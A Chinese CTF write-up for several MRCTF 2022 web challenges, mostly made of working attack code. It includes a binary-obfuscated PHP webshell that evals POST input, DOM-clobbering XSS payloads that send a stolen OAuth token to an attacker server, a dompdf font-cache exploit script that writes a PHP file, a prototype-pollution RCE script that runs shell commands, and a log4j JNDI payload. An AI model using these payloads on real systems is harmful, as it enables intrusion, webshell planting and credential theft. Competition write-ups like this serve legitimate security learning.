WEB
webcheckin
一个文件上传点,可以上传webshell但是有检测,这里用二进制绕过
<?php
class KUYE{
public $DAXW = null;
public $LRXV = null;
function __construct(){
$this->DAXW = '1100101 1110110 1100001 1101100 101000 100100 1011111 1010000 1001111 1010011 1010100 1011011 1111010 1100101 1110010 1101111 1011101 101001 111011';
$this->LRXV = @BinToStr($this->DAXW);
@eval("/*GnSpe=u*/".$this->LRXV."/*GnSpe=u*/");
}}
new KUYE();
function BinToStr($str){
$arr = explode(' ', $str);
foreach($arr as &$v){
$v = pack("H".strlen(base_convert($v, 2, 16)), base_convert($v, 2, 16));
}
return join('', $arr);
}
?>
最后flag:
zero=system("find /var -type f | xargs grep 'MRCTF{'");
在/var/log/dpkg.log
God_of_GPA
题目由两个web组成:博仁科技统一身份认证和博仁课堂。统一身份认证在登录状态下时,博仁课堂可以直接一键登录。
登录到博仁课堂后可以查看自己的成绩,有一个神秘按钮,点击进入后门界面
这里可是zbr专属的后门通道!想啥呢!
说明需要特殊权限才能使用
再看server端,给了一个和zbr互动的界面(此处提示了bot的浏览器是chrome,跟之后的xss有关)
查看博人树洞的前端代码,发现一段可疑代码
<script>
let Img = window.MyImg || {src: 'https://md.buptmerak.cn/uploads/upload_d12a3804a813ffb14fe38a318d6bfcf1.png'}
let Container = document.createElement("div");
Container.innerHTML = '<img class="avatar" src="' + Img.src + '">';
document.body.appendChild(Container);
</script>
此处可以利用dom xss,参考-使用 Dom Clobbering 扩展 XSS
写两篇xss文章,让bot访问认证页之后重定向到另一篇xss,另一篇xss接到token之后再发送到vps
p1
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"οnerrοr="javascript:function getQueryVariable(variable)
{
var query = window.location.search.substring(1);
var vars = query.split(`&`);
for (var i=0;i<vars.length;i++) {
var pair = vars[i].split(`=`);
if(pair[0] == variable){return pair[1];}
}
return(false);
}
var token = getQueryVariable(`token`);
console.log(token);
document.write(`<img src=http://yourip/token=`+token+` >`);
"
p2
<a id=MyImg><a id=MyImg name=src href='cid:ibukifalling"οnerrοr="javascript:setTimeout(function(){location.href=`http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri=http://brtclient.node3.mrctf.fun/view/part1uuid`},1000)"//'></a>
向bot发送part2的uuid,part2会访问oauth认证地址并且重定向到part1,part1再发送到远程监听服务器上,以此获得token
rFANjznMf279H2WdhX6NEPPWazGPKibk
此时我们本地访问
http://brtclient.node3.mrctf.fun/login?token=rFANjznMf279H2WdhX6NEPPWazGPKibk
查看成绩即可获得flag
当然将两个脚本融合一下变成一个也是可以的
<div id="scrip">
console.log("injected");
let uri = window.location.href + "";
if (uri.indexOf('token') > -1){
location.href="//106.14.15.50/flag?f="+encodeURIComponent(uri)
}else{
location.href="http://brtserver.node3.mrctf.fun/oauth/authorize?redirect_uri="+window.location.href
}
</div>
<img src='data:,"οnerrοr="eval(scrip.innerText)' id="MyImg" />
非预期
这里贴一下出题人的wp
非预期1-夺舍bot
由于出题人在写正则的时候忘记写开头和结尾匹配,导致发送uuid的校验出现问题
如果向bot发送形如uuid/../../login?token=yourtoken 的uuid,可以令bot在博仁课堂端登录上选手本人的账户
而登录成功的页面提示信息是直接拼接用户名的
所以可以在用户名处进行xss…直接把payload写在用户名里
因为此时bot在server端仍然是管理员账号,在用户名的xss中令bot先访问brtserver.node3.mrctf.fun/oauth/authorize 可以拿回管理员权限,之后就可以打CSRF了
非预期2-oauth xss
这个比上面那个稍微好一点,但依然震撼出题人一整年……并且也有多队打出了这个非预期……
由于跳转界面也是直接拼接的redirect_uri,而redirect_uri后面的路径是可以随便写的,所以可以在redirect_uri处进行xss
在文章的xss处令bot访问http://brtserver.node2.buptmerak.cn/oauth/authorize? redirect_uri=http://brtclient.node2.buptmerak.cn/";window.location="http://vps/ 可以直接拿到token,这样就不用再弹一次了
非预期3-CSRF
非预期1里提到,bot访问/oauth/authorize可以在博仁课堂端管理员登录,那么在文章xss处直接打CSRF也是可以的
Tprint
TP框架,扫一下,有/runtime/log/202204/23.log
发现一个Admin控制器,直接index.php?s=Admin
这里存在一个文件上传的点,根目录有个指定文件名输出pdf的接口
/public/index.php?s=Printer/print&page=/public/storage/static/20220424/8af39fce798b3cd3bf2f7155488f9808.css
主要就是利用dompdf在解析html文件时会默认加载远程css并且进一步缓存远程字体文件的问题。因为未对字体文件后缀进行过滤,导致可以直接缓存任意文件,并且缓存文件名是可以计算出来的。这就导致了一个间接的文件写漏洞。
因为本题不出网,设置了一个文件上传点,通过上传html的方式来进行css注入。我们只需要把恶意字体文件/恶意css/恶意html文件上传上去然后打印我们的恶意文件就能同样触发这个攻击链。
import requests
from hashlib import md5
url = "http://140d90fe-e364-438e-b567-e4c7b3e535e5.node1.mrctf.fun:81"
font_name = "eki"
def print2pdf(page):
param= {
"s":"Printer/print",
"page":page
}
res = requests.get(f"{url}/public/index.php",params=param)
return res
def upload(filename,raw):
data = {
"name":"avatar",
"type":"image",
}
res = requests.post(f"{url}/public/index.php?s=admin/upload",data=data,files={"file":(filename,raw,"image/png")})
return res.json()["result"]
exp_font = "./exp.php"
php_location = upload("exp.php",open(exp_font,"rb").read())
print(f"php_location=>{php_location}")
exp_css = f"""
@font-face{{
font-family:'{font_name}';
src:url('http://localhost:81{php_location}');
font-weight:'normal';
font-style:'normal';
}}
"""
css_location = upload("exp.css",exp_css)
print(f"css_location=>{css_location}")
html = f"""
<link rel=stylesheet href='http://localhost:81{css_location}'><span style="font-family:{font_name};">5678</span>
"""
html_location = upload("exp.html",html)
payload = "/storage/"
print(f"html_location=>{html_location}")
p = html_location
print(p)
res = print2pdf(p)
open("out.pdf","wb").write(res.content)
md5helper = md5()
md5helper.update(f"http://localhost:81{php_location}".encode())
remote_path = f"/vendor/dompdf/dompdf/lib/fonts/{font_name}-normal_{md5helper.hexdigest()}.php"
print(f"remote_path=>{remote_path}")
res = requests.get(url+remote_path)
print(res.text)
完整文件我github仓库里有
hurry_up
条件竞争进行原型污染RCE。
(请求A访问/,清除Object上的原型污染,并等待100毫秒) -> (请求B进行原型污染) -> (请求A等待结束,进行ejs模板渲染,原型污染RCE,回显flag)
import requests as requ
import time
import os
requests = requ.Session()
proxies = {}
server = "http://hurry.node2.buptmerak.cn"
def urlencode(sth):
result = ""
for i in sth:
result += "%"
result += "%02x" % ord(i)
return result
def add(paths,data):
url = server + "/hide?a=1"
for item in paths:
url += f"&path[]={item}"
url += "&value="+urlencode(data)
r = requests.get(url,proxies=proxies)
return r
def main():
payload="ee;return process.mainModule.require('child_process').execSync('cat /flag && echo successed').toString();//"
while 1:
_ = (add(['__proto__','outputFunctionName'],payload))
if __name__ == '__main__':
main()
import requests as requ
import time
import os
server = "http://hurry.node2.buptmerak.cn"
requests = requ.Session()
def view():
return requests.get(server)
def main():
while 1:
data = view()
if 'html' not in data.text:
print(data.text)
main()
BONUS
Java_mem_shell_Basic
进入是一个tomcat
后台弱口令tomcat/tomcat
打包一个冰歇马上传
jar -cvf shell1.war *
冰蝎连接
flag在tomcat首次编译jsp的tomcat/work 目录里threatbook_jsp.java
/usr/local/apache-tomcat-8.0.12/work/Catalina/localhost/ROOT/org/apache/jsp/threatbook_jsp.java
Java_mem_shell_Filter
登录框用户名处有log4j
name=${jndi:rmi://xxxxx/exp}&password=admin
jndi反弹shell,没找到flag,将内存dump出来
jmap -dump:format=b,file=e.bin <pid>
生成e.bin后strings就能看到flag
参考:
https://positive.security/blog/dompdf-rce
https://blog.wm-team.cn/index.php/archives/18/
https://ghostasky.github.io/2022/03/19/dompdf%200day(RCE)%E5%A4%8D%E7%8E%B0/
https://mp.weixin.qq.com/s?__biz=MzI3NTg2NTk5Mg==&mid=2247484132&idx=1&sn=55fdb98a839bd2e0a8d14934a0fef757&chksm=eb7f0a03dc0883155a73e1c9326e28be458aa55b7847c5390a43df8702403facb84ab0a06a04&mpshare=1&scene=23&srcid=0425FBJKvWlNewXNv00ett0i&sharer_sharetime=1650892617392&sharer_shareid=ef2a828dd213b828cd3fe897350642f0#rd
https://y4tacker.github.io/2022/04/24/year/2022/4/2022MRCTF-Java%E9%83%A8%E5%88%86/#Java-mem-shell-Basic
|